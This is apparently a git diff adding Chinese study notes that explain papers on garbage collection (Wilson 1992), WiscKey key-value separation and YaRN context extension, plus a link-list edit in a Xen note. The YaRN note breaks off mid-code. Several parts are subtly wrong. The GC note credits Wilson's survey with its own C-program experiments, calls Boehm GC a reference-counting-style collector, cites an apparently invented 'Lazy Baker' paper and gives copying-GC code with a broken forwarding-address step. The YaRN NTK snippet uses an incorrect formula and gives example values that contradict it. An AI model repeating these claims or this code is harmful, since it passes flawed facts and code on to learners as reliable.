+在编程语言里，这省去了程序员手动 `malloc` / `free` 的麻烦，也避免了忘记释放导致的内存泄漏。
+
+---
+
+## 二、Wilson 这篇论文在说什么？
+
+Paul R. Wilson 的 *Uniprocessor Garbage Collection Techniques*（1992）是 GC 领域被引用最多的综述论文之一。它做了三件事：
+
+1. **系统化分类**：把当时已有的垃圾回收算法分成清晰的类别
+2. **实证比较**：在真实的 C 程序上运行各种 GC，测量它们的内存开销和时间开销
+3. **给出实用建议**：告诉开发者不同场景下该选哪种算法
+
+注意标题里的"Uniprocessor"——它只讨论单核 CPU 的情况。多线程 GC 是后来才发展的。
+
+---
+
+## 三、核心概念：标记-清除（Mark-Sweep）
+
+这是所有 GC 的"Hello World"。分两步：
+
+**第一步：标记（Mark）**
+从根节点（栈上的局部变量、全局变量）出发，沿着引用链，把所有能到达的对象打个"活着"的标签。
+
+**第二步：清除（Sweep）**
+遍历整个堆，把所有没被打标签的对象全部释放。
+
+```python
+# 伪代码：标记-清除 GC 的核心逻辑
+
+class Object:
+    def __init__(self, ref=None):
+        self.ref = ref      # 引用指向另一个对象
+        self.marked = False # 是否还活着
+
+def mark_from_roots(roots):
+    """从根节点出发，标记所有可达对象"""
+    stack = list(roots)
+    while stack:
+        obj = stack.pop()
+        if obj and not obj.marked:
+            obj.marked = True
+            stack.append(obj.ref)  # 跟进它的引用
+
+def sweep(heap):
+    """清除堆中所有未标记的对象"""
+    alive = []
+    for obj in heap:
+        if obj.marked:
+            obj.marked = False   # 重置标记，为下一次准备
+            alive.append(obj)
+        # 未标记的对象被丢弃（释放）
+    return alive
+```
+
+**类比**：标记 = 用荧光笔画出所有还在用的东西；清除 = 把没画到的废纸扔掉。
+
+**缺点**：标记和清除是两步操作，中间如果程序继续分配内存，可能会浪费空间（碎片化）。
+
+---
+
+## 四、核心概念：引用计数（Reference Counting）
+
+另一种思路：**每个对象维护一个计数器**，记录有多少地方引用了它。计数器归零时立即回收。
+
+```python
+# 伪代码：引用计数 GC
+
+class RCObject:
+    def __init__(self):
+        self.ref_count = 0
+        self.refs_to = []  # 我引用的其他对象
+
+    def add_ref(self):
+        self.ref_count += 1
+
+    def release_ref(self):
+        self.ref_count -= 1
+        if self.ref_count == 0:
+            # 立即回收！
+            for ref in self.refs_to:
+                ref.release_ref()  # 级联释放
+            del self  # 真正的内存释放
+```
+
+**优点**：即时回收，不需要停顿整个程序。
+**缺点**：无法处理循环引用（A 引用 B，B 引用 A，两者计数都不为零）。
+
+**类比**：就像接力赛中的火炬。每个人手里拿着火炬就算"拥有"。当最后一个人放下火炬，火炬就消失了。但如果两个人互相传递火炬（循环），火炬永远不会消失。
+
+---
+
+## 五、Wilson 的主要发现
+
+Wilson 在真实 C 程序上跑了大量实验，得出几个关键结论：
+
+### 5.1 标记-清除的变体很多
+
+论文区分了多种 Mark-Sweep 的实现方式：
+
+- **位图标记**：在堆旁边维护一张位图，标记过的对象对应位设为 1
+- **栈式标记**：用栈来跟踪递归深度，避免栈溢出
+- **增量标记**：把标记过程拆成小块，穿插在正常程序执行中
+
+### 5.2 生成式 GC（Generational GC）最实用
+
+Wilson 发现了一个经验规律——**"弱生代假说"**：大多数对象都是"短命"的，很快就被回收；只有少数对象能活很久。
+
+基于这个观察，生成式 GC 把堆分成"年轻代"和"老年代"：
+
+- 新对象放在年轻代，频繁回收（快）
+- 活下来的移到老年代，回收频率低（慢但对象少）
+
+这就是为什么现代语言（Java、JavaScript、Ruby）几乎都用生成式 GC。
+
+### 5.3 内存开销与时间开销的权衡
+
+| 算法 | 时间开销 | 内存开销 | 停顿时间 |
+|------|---------|---------|---------|
+| 引用计数 | 每次分配都有开销 | 每个对象多存一个计数器 | 几乎无停顿 |
+| 标记-清除 | 周期性大停顿 | 需要标记位图 | 长停顿 |
+| 复制式 GC | 对象移动开销 | 需要空闲空间翻倍 | 中等停顿 |
+
+---
+
+## 六、核心概念：复制式 GC（Copying GC）
+
+把堆分成两半：From 和 To。活跃对象从 From 复制到 To，然后两半交换角色。
+
+```python
+# 伪代码：复制式 GC 的核心逻辑
+
+class CopyingCollector:
+    def __init__(self):
+        self.from_space = []   # 当前使用的半区
+        self.to_space = []     # 空闲半区
+        self.next_free = 0     # to_space 中的分配指针
+
+    def allocate(self, size):
+        """分配时检查是否需要 GC"""
+        if self.next_free + size > len(self.to_space):
+            self.collect()       # 触发回收
+        obj = Object(size)
+        self.to_space[self.next_free:self.next_free + size] = [obj]
+        self.next_free += size
+        return obj
+
+    def collect(self):
+        """从根节点出发，复制所有存活对象到 to_space"""
+        # 1. 扫描根节点，把可达对象复制到 to_space
+        for root in get_roots():
+            copied = self.copy(root)
+            self.to_space.append(copied)
+
+        # 2. 递归处理刚复制的对象
+        i = 0
+        while i < len(self.to_space):
+            obj = self.to_space[i]
+            if obj.ref:
+                copied = self.copy(obj.ref)
+                self.to_space.append(copied)
+            i += 1
+
+        # 3. 交换 from/to，to_space 清空
+        self.from_space, self.to_space = self.to_space, self.from_space
+        self.to_space.clear()
+        self.next_free = 0
+
+    def copy(self, obj):
+        """复制单个对象，处理重复引用"""
+        if hasattr(obj, 'forwarding_address'):
+            return obj.forwarding_address  # 已经复制过了
+        new_obj = Object(obj.size)
+        new_obj.forwarding_address = new_obj
+        new_obj.data = obj.data
+        return new_obj
+```
+
+**类比**：就像搬家。你把旧房子（From）里还在用的家具搬到新房子（To），搬完后旧房子清空，新房子变成旧房子，准备下一轮。
+
+**优点**：天然消除碎片，分配只需一个指针递增（极快）。
+**缺点**：需要两倍的堆空间。
+
+---
+
+## 七、Wilson 综述的结构概览
+
+论文大致按以下脉络组织：
+
+1. **背景**：为什么需要 GC
+2. **离线 GC**：早期无法在运行时工作的方法
+3. **在线 GC**：
+   - 引用计数
+   - 标记-清除及变体
+   - 复制式
+   - 扫描式（Scavenging）
+4. **增量 GC**：把回收分散到多次执行
+5. **实验评估**：在真实程序上的性能数据
+6. **结论与建议**
+
+---
+
+## 八、为什么这篇 1992 年的论文今天仍值得读？
+
+1. **分类框架至今有效**：现代 GC 论文仍然在用 Wilson 建立的分类体系来定位自己的工作
+2. **实证精神**：不是空谈理论，而是在真实 workload 上测量，这种态度在今天仍然稀缺
+3. **生代假说的预见性**：当时的数据已经清晰指向生成式 GC 是最实用的路线，今天的 JVM、V8、CRuby 都在验证这一点
+4. **增量 GC 的挑战**：Wilson 指出增量 GC 难以同时兼顾低停顿和低开销，这个问题到今天仍然是研究热点
+
+---
+
+## 九、延伸阅读
+
+- **Chen & Morrisett, 2003** — "Lazy Baker": 惰性复制 GC，结合复制式和标记清除的优点
+- **Boehm GC** — 一种近似引用计数的 GC，能处理循环引用
+- **Modern Generational GC** — Java 的 G1、ZGC，JavaScript 的 V8 引擎
+
+---
+
+## 十、一句话总结
+
+> Wilson 1992 告诉我们：**没有最好的 GC，只有最适合 workload 的 GC**。大多数对象的寿命都很短——抓住这个事实，就能设计出高效的回收器。
diff --git a/src/content/docs/papers/wisckey.md b/src/content/docs/papers/wisckey.md
new file mode 100644
index 000000000..9f89b2c1e
--- /dev/null
+++ b/src/content/docs/papers/wisckey.md
@@ -0,0 +1,376 @@
+---
+title: WiscKey — 把 Key 和 Value 拆开，让 SSD 上的 LSM 树少干冤枉活
+来源: 'Lu et al., "WiscKey: Separating Keys from Values in SSD-conscious Storage", FAST 2016 / ACM TOS 2017'
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：图书馆目录 vs 仓库货架
+
+想象你在运营一座**超大图书馆**，每天要处理海量借还记录。
+
+传统 LSM-tree（比如 LevelDB）的做法像：**把书名卡片和整本书绑在一起**，放进按书名排序的大柜子。每次整理柜子（**compaction**）时，工作人员必须把「卡片 + 整本书」一起搬出来、重新排序、再塞回去——书越厚，搬得越累，柜子也越挤。
+
+WiscKey 换了个思路：
+
+1. **目录柜里只放索引卡**：卡片上写着书名（key）和**仓库货架编号**（value 在 vLog 里的地址）。
+2. **真正的书放在仓库**：按到达顺序往传送带上扔（**append-only value log，简称 vLog**），顺序写、不用当场排序。
+3. **整理目录时只搬卡片**：compaction 只排序薄薄的 key，不把整本书搬来搬去——写放大骤降。
+4. **借一整套书（范围扫描）**：先按目录顺序找到一串书名，再派多个人**并行**去仓库按编号取书——利用 SSD 内部并行读，抵消「随机取货」的劣势。
+
+论文由威斯康星大学 **Lu、Pillai、Arpaci-Dusseau 夫妇** 发表于 **FAST 2016**（扩展版见 **ACM TOS 2017**）。WiscKey 在 LevelDB 基础上改造，API 不变（`Put` / `Get` / `Delete` / `Scan`），核心贡献是：**为 SSD 时代重新设计 KV 的物理布局**——键留在 LSM-tree，值搬到单独的 vLog。
+
+---
+
+## 是什么
+
+**WiscKey** 是一种**持久化、单机**的 LSM-tree 键值存储引擎，通过 **key-value separation（键值分离）** 降低 I/O 放大（write/read amplification），并针对 SSD 的**顺序写带宽**与**并行随机读**特性做优化。
+
+| 组件 | LevelDB（传统 LSM） | WiscKey |
+|------|---------------------|---------|
+| LSM-tree 里存什么 | key + value 完整对 | key + **value 指针**（vLog 偏移） |
+| Value 放哪 | 和 key 一起写在 SSTable | 单独 **vLog**（value log）顺序追加 |
+| Compaction 搬多少数据 | key + value 全搬 | **mostly keys**（体积小得多） |
+| 点查路径 | 一次 LSM 查找 | LSM 找 key → vLog 读 value（两次 I/O） |
+| 范围扫描 | SSTable 顺序读 KV | LSM 顺序读 key → **并行**随机读 vLog |
+
+一句话：**排序只需要 key；value 用日志追加，compaction 变轻，SSD 寿命和吞吐都受益。**
+
+---
+
+## 为什么重要
+
+如果你已经读过 LSM-tree / RocksDB 笔记，会知道 compaction 是「写放大」的主要来源：同一条数据在多层之间被反复读写。当 **value 比 key 大很多**（现代 workload 常见：16B key + 1KB value 并不夸张）时，问题更严重：
+
+- **写放大**：compaction 把大 value 跟着 key 一起重写，有效写入量可能是用户数据的 10 倍以上。
+- **读放大**：点查要读整页，大量带宽花在 value 上。
+- **SSD 寿命**：无意义的重复写加速闪存磨损。
+
+论文给出的直觉数字（16B key、1KB value、key 侧写放大 10、value 侧写放大 1）：
+
+```
+有效写放大 ≈ (10 × 16 + 1024) / (16 + 1024) ≈ 1.14
+```
+
+而传统 LSM 要把 1KB value 也乘进 compaction 的倍数里，差距可以是**数量级**。
+
+微基准结果（论文原文，随 value 大小变化）：
+
+- **Bulk load**：比 LevelDB 快 **2.5×–111×**，尾延迟显著更好。
+- **随机点查**：快 **1.6×–14×**。
+- **YCSB 六类 workload**：全面快于 LevelDB 和 RocksDB。
+
+WiscKey 的思想后来影响了 **BadgerDB**（Go）、RocksDB 的 **BlobDB**、以及多种「分离大 value」的工程实践——理解它是理解「LSM 上怎么放胖 value」的起点。
+
+---
+
+## 核心概念
+
+### 1. 键值分离（Key-Value Separation）
+
+核心洞察来自一句看似简单的话：
+
+> **Compaction 只需要对 key 排序；value 可以另管。**
+
+WiscKey 的 LSM-tree（memtable + 多层 SSTable）里，每条记录形如：
+
+```
+(key, value_pointer)
+```
+
+`value_pointer` 指向 vLog 中的 `(file_id, offset, length)`。真正的 value 字节流 append 到 vLog 末尾——**顺序写、写放大 ≈ 1**。
+
+### 2. Value Log（vLog）布局
+
+vLog 中每条记录的结构（论文 §3.3.2）：
+
+```
+[key_size][value_size][key][value]
+```
+
+为什么 vLog 里还要冗余存一份 key？
+
+- **垃圾回收**时要判断这条 value 是否还有效（key 是否仍在 LSM-tree 里）。
+- **崩溃恢复**时若 LSM 元数据不完整，可扫描 vLog 重建。
+
+vLog 维护 **head**（新写入位置）和 **tail**（GC 起点）。只有 `[tail, head)` 区间内的 value 是「存活区」，查找只在这个范围解析。
+
+### 3. 点查（Get）的两步读
+
+```
+Get(key):
+  1. 在 LSM-tree 中搜索 key（和 LevelDB 一样，可能多层 + bloom filter）
+  2. 若命中，读出 value_pointer
+  3. 对 vLog 做一次随机读，取出 value
+```
+
+多一次 I/O，但 LSM 结构更小、compaction 更轻；当 value 较大时，整体仍更快。
+
+### 4. 并行范围查询（Parallel Range Query）
+
+键值分离的代价：范围扫描时，key 在 SSTable 里有序，value 在 vLog 里**无序**——不能一次顺序读拿齐 KV。
+
+WiscKey 的解法：
+
+1. 用户 `Seek(start)` 后反复 `Next()`，接口与 LevelDB **完全兼容**。
+2. 检测到**连续顺序访问**模式后，后台**预取**：从 LSM 批量读后续 key 及其 value_pointer。
+3. 多个线程**并行**从 vLog 拉 value，放入队列；用户 `Value()` 时往往已命中内存。
+
+这利用了 SSD 的特性：单线程随机读很慢，但**多队列并行随机读**可接近顺序带宽（论文 Figure 3/5 有测量）。
+
+### 5. 垃圾回收（Garbage Collection）
+
+`Delete(key)` 只从 LSM-tree 删掉 key；vLog 里对应 value 变成 **dangling（悬空）** 垃圾。
+
+GC 流程（简化）：
+
+1. 从 **tail** 读一大块 vLog 记录（数 MB）。
+2. 对每条记录，用其中的 key 查询 LSM-tree——**仍有效**则保留。
+3. 有效 value **重写**到 **head**（append）。
+4. 释放 tail 到 head 之间的旧空间（实现可用 `fallocate` punch hole 等）。
+
+目标：让存活 value 在 vLog 中尽量**紧凑连续**，同时 GC 开销可控。论文称 GC 运行时 WiscKey 仍可比 LevelDB 快 **70× 以上**（bulk load 场景）。
+
+### 6. 崩溃一致性与 WAL 优化
+
+WiscKey 利用 vLog 的 append 顺序 + key 冗余：
+
+- 新 value 先写 vLog，再更新 LSM（或反之，有明确顺序保证）。
+- 恢复时可扫描 vLog，结合 LSM 状态对齐 head/tail。
+- 论文还讨论在特定条件下**省略传统 LSM WAL** 的优化（减少小写系统调用开销）——属于进阶实现细节，零基础先记住「vLog 本身像一种写日志」即可。
+
+### 7. 与 LevelDB 的关系
+
+WiscKey **fork 自 LevelDB**，对外 API 一致，可嵌入 MySQL、MongoDB 等作为存储引擎。思想不是换掉 LSM，而是**缩小 LSM 里搬动的数据量**。
+
+---
+
+## 代码示例
+
+### 示例 1：用 Python 模拟「键值分离」的写入与写放大
+
+下面这段代码不是 WiscKey 源码，但把**写路径**和**写放大直觉**具象化了：
+
+```python
+class SeparatedKVStore:
+    """极简 WiscKey 思想演示：LSM 只存 key+指针，value 进 vLog。"""
+
+    def __init__(self):
+        self.lsm = {}              # key -> (vlog_offset, value_len)  假装已排序
+        self.vlog = bytearray()    # append-only value log
+        self.bytes_written_user = 0
+        self.bytes_written_disk = 0
+
+    def put(self, key: bytes, value: bytes):
+        # 1) value 顺序追加到 vLog（写放大 ≈ 1）
+        offset = len(self.vlog)
+        record = len(key).to_bytes(4, "little")
+        record += len(value).to_bytes(4, "little")
+        record += key + value
+        self.vlog += record
+        self.bytes_written_disk += len(record)
+
+        # 2) LSM 只更新小记录：key + 指针
+        pointer = (offset, len(value))
+        old = self.lsm.get(key)
+        self.lsm[key] = pointer
+        self.bytes_written_disk += len(key) + 12  # 指针开销
+
+        self.bytes_written_user += len(key) + len(value)
+
+    def get(self, key: bytes) -> bytes | None:
+        ptr = self.lsm.get(key)
+        if ptr is None:
+            return None
+        offset, length = ptr
+        # 跳过 header，定位 value（真实系统要解析 key_size/value_size）
+        pos = offset + 4 + 4 + len(key)
+        return bytes(self.vlog[pos : pos + length])
+
+    def compact_lsm_only(self, write_amplification: int = 10):
+        """模拟 compaction：只重写 key+指针，不搬 vLog 里的胖 value。"""
+        sorted_items = sorted(self.lsm.items())
+        for _ in range(write_amplification - 1):
+            for k, p in sorted_items:
+                self.bytes_written_disk += len(k) + 12
+        # 若 key+value 不分离，这里还要 × len(value) —— 差距来源
+
+    @property
+    def effective_write_amplification(self):
+        if self.bytes_written_user == 0:
+            return 0.0
+        return self.bytes_written_disk / self.bytes_written_user
+
+
+# 典型「小 key 大 value」
+store = SeparatedKVStore()
+for i in range(1000):
+    store.put(f"user:{i:04d}".encode(), b"x" * 1024)  # 1KB value
+store.compact_lsm_only(write_amplification=10)
+print(f"有效写放大 ≈ {store.effective_write_amplification:.2f}")
+# 分离后远低于「value 也参与 10× compaction」的传统 LSM
+```
+
+运行后你会看到：vLog 承担 1KB×1000 的顺序写；compaction 模拟只反复写几十字节的 key+指针——这就是论文里 **1.14× vs 10×+** 的玩具版解释。
+
+### 示例 2：点查与范围扫描的「两步 I/O」流程
+
+用伪代码表达 WiscKey 读路径，便于和 LevelDB 对照：
+
+```python
+def wiskey_get(lsm, vlog, key):
+    """点查：LSM 一次 + vLog 一次。"""
+    entry = lsm.search(key)          # bloom + 多层 SSTable，同 LevelDB
+    if entry is None:
+        return None
+    file_id, offset, length = entry.value_pointer
+    return vlog.read(file_id, offset, length)
+
+
+class RangeIterator:
+    """范围扫描：顺序走 LSM，并行预取 vLog。"""
+
+    def __init__(self, lsm, vlog, prefetch_depth=64, num_workers=4):
+        self.lsm_iter = lsm.iterator()
+        self.vlog = vlog
+        self.prefetch_queue = asyncio.Queue(maxsize=prefetch_depth)
+        self.workers = num_workers
+
+    def seek(self, start_key):
+        self.lsm_iter.seek(start_key)
+        self._schedule_prefetch()
+
+    def next(self):
+        if not self.lsm_iter.valid():
+            return False
+        self.lsm_iter.next()
+        self._schedule_prefetch()
+        return self.lsm_iter.valid()
+
+    def value(self):
+        # 优先从预取缓存取；未命中则同步读 vLog
+        key = self.lsm_iter.key()
+        ptr = self.lsm_iter.value_pointer()
+        return self.prefetch_queue.get_cached(key) or self.vlog.read(*ptr)
+
+    def _schedule_prefetch(self):
+        # 检测连续 Next() 后，批量提交后续 N 个 pointer 给线程池
+        batch = self.lsm_iter.peek_keys_and_pointers(n=64)
+        for ptr in batch:
+            self.vlog.read_async(ptr)  # SSD 并行随机读
+```
+
+LevelDB 的 `Iterator::Value()` 直接从 SSTable 块里切片；WiscKey 多了一步 vLog，但通过 **prefetch + 并行读** 把范围扫描的坑填回去。value 越大，LevelDB 在 scan 时打开 SSTable、读 index/bloom 的开销越恐怖；论文报告 value ≥ 4KB 时 WiscKey scan 可达设备顺序带宽，最高约 **8.4× LevelDB**。
+
+### 示例 3：估算「该不该做键值分离」
+
+工程上可用一个一行公式做 back-of-envelope（与论文 §3.2 一致）：
+
+```python
+def should_separate(key_bytes: int, value_bytes: int,
+                    lsm_wa: float = 10.0, vlog_wa: float = 1.0,
+                    threshold: float = 3.0) -> bool:
+    """
+    有效写放大 = (lsm_wa * key + vlog_wa * value) / (key + value)
+    若低于传统 LSM（≈ lsm_wa），则分离划算。
+    """
+    separated = (lsm_wa * key_bytes + vlog_wa * value_bytes) / (key_bytes + value_bytes)
+    traditional = lsm_wa
+    return separated < traditional / threshold
+
+print(should_separate(16, 64))    # False — value 太小，多一次随机读不划算
+print(should_separate(16, 1024))   # True  — 胖 value，分离大赚
+print(should_separate(16, 4096))   # True  — 更赚
+```
+
+经验法则：**value 明显大于 key（通常数百字节以上）** 时，WiscKey 类布局更值得考虑；纯小 KV 或 value 极小场景，传统 LSM 可能更简单。
+
+---
+
+## 数据结构一览（单 SSD 部署）
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                        用户 API                              │
+│              Put / Get / Delete / Scan(start,end)              │
+└──────────────────────────┬──────────────────────────────────┘
+                           │
+         ┌─────────────────┴─────────────────┐
+         ▼                                   ▼
+┌─────────────────────┐            ┌─────────────────────┐
+│      LSM-tree       │            │   vLog (value log)   │
+│  memtable + SSTable │            │   append-only 文件    │
+│                     │            │                     │
+│  key → vptr         │            │ [ksz][vsz][key][val]│
+│  (排序、compaction)  │            │  head ───────► tail  │
+│  只搬 key+指针      │            │  GC 清理悬空 value   │
+└─────────────────────┘            └─────────────────────┘
+         │                                   ▲
+         │         value_pointer ────────────┘
+         └───────────────────────────────────┘
+```
+
+---
+
+## 优势与代价（诚实三角）
+
+| 维度 | WiscKey 收益 | 仍需付出的代价 |
+|------|-------------|----------------|
+| 写吞吐 / 写放大 | compaction 只碰 key，胖 value 友好 | vLog append + 偶尔 GC 写 |
+| 读延迟（点查） | LSM 更小，缓存命中更好 | **两次 I/O**（LSM + vLog） |
+| 范围扫描 | 大 value 时并行预取很强 | 小 value 时可能不如 LevelDB（论文：64B KV scan 慢约 12×） |
+| 空间 | LSM 占用小 | vLog 有 GC 前悬空垃圾，需 GC |
+| 实现复杂度 | API 与 LevelDB 相同 | GC、崩溃恢复、预取线程池 |
+
+**没有免费午餐**：键值分离把 compaction 的痛点换成了「vLog 随机读 + GC」。WiscKey 的 SSD-conscious 指的是：**在闪存并行读够强的前提下，这笔交易划算。**
+
+---
+
+## 与相关工作的关系
+
+| 系统 / 论文 | 与 WiscKey 的关系 |
+|-------------|-------------------|
+| **LevelDB / RocksDB** | 基线；KV 不分离，compaction 搬全量 |
+| **RocksDB BlobDB** | 工业界类似思路：大 value 放 blob 文件 |
+| **BadgerDB** | Go 生态常见实现，明确受 WiscKey 启发 |
+| **LSM-tree (1996)** | 逻辑结构不变，变的是物理布局 |
+| **Nyberg et al. 1994** | 更早提出 key/value 分离排序的思想，WiscKey 在 SSD 上复活并系统化 |
+
+---
+
+## 落地启示（给零基础读者的 checklist）
+
+1. **先量 value 大小分布**：若 P50 value 只有几十字节，别急着分离；若大量 >1KB，值得读 WiscKey / BlobDB。
+2. **把 compaction 当成「搬书」成本**：优化 LSM 不是少 compact，而是**每次 compact 少搬字节**。
+3. **SSD 不是磁盘**：并行随机读能力让「目录有序 + 仓库乱序」变得可行——这是 2016 年前后闪存论文的共同主题。
+4. **API 稳定、布局可换**：WiscKey 证明存储引擎可以在保持 `Put/Get/Scan` 的前提下大幅改底层——对嵌入 MySQL/MongoDB 这类场景友好。
+5. **GC 要有**：任何 append-only value 文件都需要失效 value 的回收策略，否则空间无限涨。
+
+---
+
+## 论文信息
+
+| 项目 | 内容 |
+|------|------|
+| 标题 | WiscKey: Separating Keys from Values in SSD-conscious Storage |
+| 作者 | Lanyue Lu, Thanumalayan Sankaranarayana Pillai, Andrea C. Arpaci-Dusseau, Remzi H. Arpaci-Dusseau |
+| 机构 | University of Wisconsin—Madison |
+| 会议 / 期刊 | FAST 2016（页 133–148）；扩展版 ACM TOS 13(1), 2017 |
+| DOI | [10.1145/3033273](https://doi.org/10.1145/3033273) |
+| PDF | [USENIX FAST'16](https://www.usenix.org/system/files/conference/fast16/fast16-papers-lu.pdf) |
+
+---
+
+## 小结
+
+WiscKey 回答了一个朴素问题：**LSM 排序真的需要把胖 value 一起搬吗？** 答案是否定的。把 key 留在 LSM-tree、把 value 丢进顺序 vLog，compaction 从「搬书整理」降级为「整理卡片」；再用 SSD 并行读补上范围扫描的坑，用轻量 GC 清理删除后的悬空 value。
+
+三条记忆足以带走全文：
+
+1. **分离**：LSM 存 `(key → pointer)`，vLog 顺序存 value。
+2. **放大**：胖 value workload 下，有效写放大可从 ~10× 降到 ~1.x×。
+3. **SSD**：并行随机读 + 顺序写，让这套布局在 2016 年的闪存上成立。
+
+如果你已读过本仓库的 [LSM-tree 与 RocksDB](rocksdb-lsm) 笔记，可以把 WiscKey 当成「在 LSM 三角权衡里，专门砍 write amplification 的一支箭」——没有替换 LSM，而是**让 LSM 更瘦、更懂 SSD**。
diff --git a/src/content/docs/papers/xen-2003.md b/src/content/docs/papers/xen-2003.md
index 8308a2b96..a20d4d98b 100644
--- a/src/content/docs/papers/xen-2003.md
+++ b/src/content/docs/papers/xen-2003.md
@@ -165,8 +165,11 @@ Xen 在每个客户机里塞一个**气球驱动**（balloon driver）。要回
 - [[kvm-2007]] —— KVM 2007 — 把 Linux 内核本身变成 hypervisor
 - [[lfs-1991]] —— LFS 1991 — 把整个磁盘当日志写
 - [[lipp-meltdown-2018]] —— Meltdown — 乱序执行偷读内核内存
+- [[mach-rashid-1986]] —— Mach 1986 — 给 UNIX 换一块能跨机器生长的内核地基
 - [[mach-vm-1987]] —— Mach VM — 把虚拟内存抽象成"对象"，与硬件解耦
 - [[mirage-2013]] —— MirageOS Unikernels — 应用即内核，把操作系统编译掉
+- [[on-demand-container-loading]] —— On-demand Container Loading — Lambda 如何在 10GiB 镜像下保持冷启动
 - [[shenango-2019]] —— Shenango — 每 5 微秒重新分一次核的中央调度器
 - [[soltesz-2007]] —— Soltesz 2007 — 容器：比虚拟机轻一档的隔离方案
+- [[spectre-attack-2018]] —— Spectre Attacks — 推测执行如何绕过边界检查偷读内存
 
diff --git a/src/content/docs/papers/yarn-rope-2023.md b/src/content/docs/papers/yarn-rope-2023.md
new file mode 100644
index 000000000..6f7d4c8bc
--- /dev/null
+++ b/src/content/docs/papers/yarn-rope-2023.md
@@ -0,0 +1,212 @@
+---
+title: YaRN -- 让大语言模型"看得更远"的上下文扩展技术
+来源: https://arxiv.org/abs/2309.00071
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# YaRN: 高效扩展大语言模型上下文窗口
+
+## 一个日常类比：望远镜的"调焦"
+
+想象你有一台望远镜，出厂时只能看清 4 公里以内的风景。现在你想让它看清 16 公里以外的东西。
+
+最简单的做法是把镜片拉远一点（ Position Interpolation，PI），但这会让远处的景物变得模糊不清——因为原本聚焦在近距离的细节丢了。
+
+YaRN 的思路是：不是所有镜片都需要同样程度地拉远。靠近中心的镜片（编码局部信息的"高频"维度）保持不动，边缘的镜片（编码全局信息的"低频"维度）拉得更远。同时还加了一个"调焦环"（温度缩放），让整个画面更清晰。
+
+这就是 YaRN 的核心直觉。
+
+## 背景：RoPE 是什么？
+
+Transformer 模型需要知道每个词在句子中的"位置"。RoPE（Rotary Position Embedding，旋转位置编码）的做法是给每个词的位置信息做一个"旋转"——类似于时钟指针转过的角度。
+
+```
+位置 m 的查询向量 q_m 和位置 n 的键向量 k_n 之间的相似度
+= softmax(q_m^T · k_n / sqrt(D))
+
+RoPE 把这个相似度"编码"成角度旋转的形式
+使得 q_m 和 k_n 的点积只取决于它们的相对距离 (m - n)
+```
+
+关键问题：RoPE 只在训练时见过的最大长度（比如 4096）内"学好了"。超过这个长度，模型就"不认识"那些位置了。
+
+## 核心问题一：高频信息丢失（NTK-aware）
+
+RoPE 把位置信息映射到多个维度上，每个维度有一个"频率" θ。频率高的维度转得快（波长短），频率低的维度转得慢（波长长）。
+
+简单拉伸（PI）的问题：把所有维度的频率都除以同一个缩放因子 s。这会导致高频维度"跳过了太多角度"，模型根本学不回来。
+
+```python
+# 问题：PI 等比例缩放所有维度
+# 假设 θ = [0.0001, 0.001, 0.01, 0.1] 是 RoPE 的频率
+# s = 8 意味着把上下文从 2048 扩展到 16384
+
+theta = np.array([0.0001, 0.001, 0.01, 0.1])
+theta_stretched = theta / 8  # PI 的做法：全部除以 8
+
+# 高频维度 0.1 变成了 0.0125
+# 模型原本在 0.1 附近"校准"过的，现在完全对不上
+# 就像把一张照片放大 8 倍，像素全糊了
+
+# NTK-aware 的做法：不同维度用不同的缩放倍数
+# 低频（大波长）拉伸得多，高频（小波长）拉伸得少
+theta_new = theta ** (1.0 / np.sqrt(np.sqrt(s)))
+# s=8 时指数约等于 0.595
+# 0.1 -> 0.255 (拉伸较少，保留了高频信息)
+# 0.0001 -> 0.000012 (拉伸较多，填补了低频的空缺)
+```
+
+## 核心问题二：局部相对位置被破坏（NTK-by-parts）
+
+并非所有维度都应该被拉伸。那些波长远小于上下文长度的维度——它们只编码"相邻词之间的相对位置"，不应该被改动。
+
+```python
+# NTK-by-parts：按"波长"分类处理
+# r = 上下文长度 / 波长，表示一个维度在上下文内转了几圈
+
+alpha = 1    # 下界：r < alpha 说明这个维度转得太少了
+beta = 32    # 上界：r > beta 说明这个维度转得太多了
+
+def gamma(r, alpha=1, beta=32):
+    """ ramps from 0 to 1 between alpha and beta """
+    if r < alpha:
+        return 0          # 低频维度：完全拉伸 (除以 s)
+    elif r > beta:
+        return 1          # 高频维度：完全不拉伸 (保持 θ)
+    else:
+        return (r - alpha) / (beta - alpha)  # 中间值：线性过渡
+
+# 对每个维度 d 计算其频率 θ_d
+def apply_ntk_by_parts(theta_d, r_d, scale_s):
+    g = gamma(r_d)
+    h_theta = (1 - g) * (theta_d / scale_s) + g * theta_d
+    return h_theta
+
+# 举例：
+# 维度A: r=0.5 < alpha=1, gamma=0, theta 被除以 8 (完全拉伸)
+# 维度B: r=16, alpha<r<beta, gamma=0.5, theta 被除以 4 (半拉伸)
+# 维度C: r=64 > beta=32, gamma=1, theta 不变 (完全不拉伸)
+```
+
+## 核心技巧三：温度缩放（Temperature Scaling）
+
+在计算注意力之前，对 logits 做一个温度缩放，能进一步降低困惑度：
+
+```
+softmax(q_m^T · k_n / (t · sqrt(D)))
+
+其中 t 是温度参数，t < 1 会让注意力分布更集中
+```
+
+YaRN 的经验公式（对 LLaMA/Llama2 系列）：
+
+```
+sqrt(1/t) = 0.1 * ln(s) + 1
+
+s=16 时：sqrt(1/t) = 0.1 * ln(16) + 1 ≈ 1.35
+s=32 时：sqrt(1/t) = 0.1 * ln(32) + 1 ≈ 1.41
+```
+
+## YaRN 完整公式
+
+把上面三件事组合起来：
+
+```python
+import numpy as np
+
+def yarn_rope(x, m, theta, scale_s):
+    """
+    YaRN 扩展的 RoPE 位置编码
+    
+    参数:
+        x:       隐藏状态向量
+        m:       当前 token 的位置索引
+        theta:   RoPE 频率数组，形状 (D/2,)
+        scale_s: 扩展倍数，如 16 表示从 4k 扩展到 64k
+    
+    返回:
+        处理后的 query/key 向量
+    """
+    D = len(theta) * 2
+    s = scale_s
+
+    # 1. NTK-by-parts：对每个维度计算不同的 θ'
+    r = 4096 / (2 * np.pi * (10000 ** (np.arange(D//2) / D)))  # 计算每个维度的 r 值
+    alpha, beta = 1, 32
+
+    def gamma(r_val):
+        if r_val < alpha: return 0
+        if r_val > beta: return 1
+        return (r_val - alpha) / (beta - alpha)
+
+    theta_new = np.array([
+        (1 - gamma(r)) * (theta[d] / s) + gamma(r) * theta[d]
+        for d, r in enumerate(r)
+    ])
